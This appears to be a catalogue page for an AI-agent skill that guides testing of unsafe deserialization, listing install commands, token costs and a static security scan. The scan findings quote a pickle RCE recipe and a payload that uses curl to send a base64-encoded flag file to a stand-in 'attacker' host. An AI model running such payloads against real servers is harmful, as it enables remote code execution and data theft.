deserialization-methodology

deserialization-methodology is a skill for Claude Code, Codex from wgpsec/AboutSecurity. It costs 55 tokens per session (1,258 once invoked), scanned A, original, no licence file.

A guide to testing unsafe deserialization, where an application rebuilds data from an untrusted encoded value such as a cookie or request parameter.

In plain words
What is it for?
Use it when you find Base64 data, Python pickle values, PHP serialized objects, or Java serialized data.
Why use it?
It helps detect cases where crafted data could make the server perform unintended actions, potentially including running commands.

Skill for Claude CodeCodex

Which agent this was written for is unclear — body not stored (licence); the path alone says nothing.

Good fit Use it when you find Base64 data, Python pickle values, PHP serialized objects, or Java serialized data.

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Install with agentmods
npx agentmods add skills/wgpsec/aboutsecurity/deserialization-methodology
Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

Any agent
npx skills add wgpsec/AboutSecurity --skill deserialization-methodology
Clone the repo
git clone --depth 1 https://github.com/wgpsec/AboutSecurity

Made for: Claude Code, Codex.

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README.md
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Per session 55 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 1,258 The whole file, excluding the scripts and references it only reads on demand.
Security scan A 2 findings. A grade says what 26 rules found in the file — not that it is safe. Third-party audits
  • NVIDIA SkillSpector pass 7 Sept 2026
How audits are shown
Origin unknown No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00055 $0.01258
Opus 5 $0.00028 $0.00629
Sonnet 5 $0.00011 $0.00252
Haiku 4.5 $0.00006 $0.00126

Measured 5d ago against content hash 56ec71ce4ccd, method: parsed. Prices are Anthropic first-party input rates as of 2026-09-08, from the pricing page.

Security

Grade A, and why

deserialization-methodology scanned grade A with 2 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 5d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Makes network callslowCapability

Not a fault in itself. Listed so you know the mod talks to something, and to what.

4. 外带 payload:`os.system('curl http://attacker/?d=$(cat /flag|base64)')` — HTTP 外传数据

Runs shell commandslowCapability

Expected in a hook, worth knowing in a rule or an instructions file.

1. 构造基础 RCE payload:使用 `__reduce__` 方法调用 `os.system` 或 `subprocess.check_output`
skills/exploit/web-method/deserialization-methodology/SKILL.md · 70 lines

The source is not reproduced here

No licence file

A repository with no LICENSE is all rights reserved by default, so the body is not copied here. The metadata, the measurements and the link are.

Read it on GitHub

Files

What ships with it

6 files beside SKILL.md in the same directory: the scripts, references and assets a skill reads on demand. Not counted in the per-session cost; read them before you install if any of them is executable.

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 5d ago First seen · 70 lines · 55 tokens per session scan A 56ec71ce4ccd

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deserialization-methodology is a skill published in the GitHub repository wgpsec/AboutSecurity (1,725 stars, last pushed 9d ago), with no licence file. It adds 55 tokens to every session and 1,258 once invoked, about $0.0003 per session on Opus 5. A static security scan graded it A with 2 findings (makes network calls, runs shell commands). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-03.

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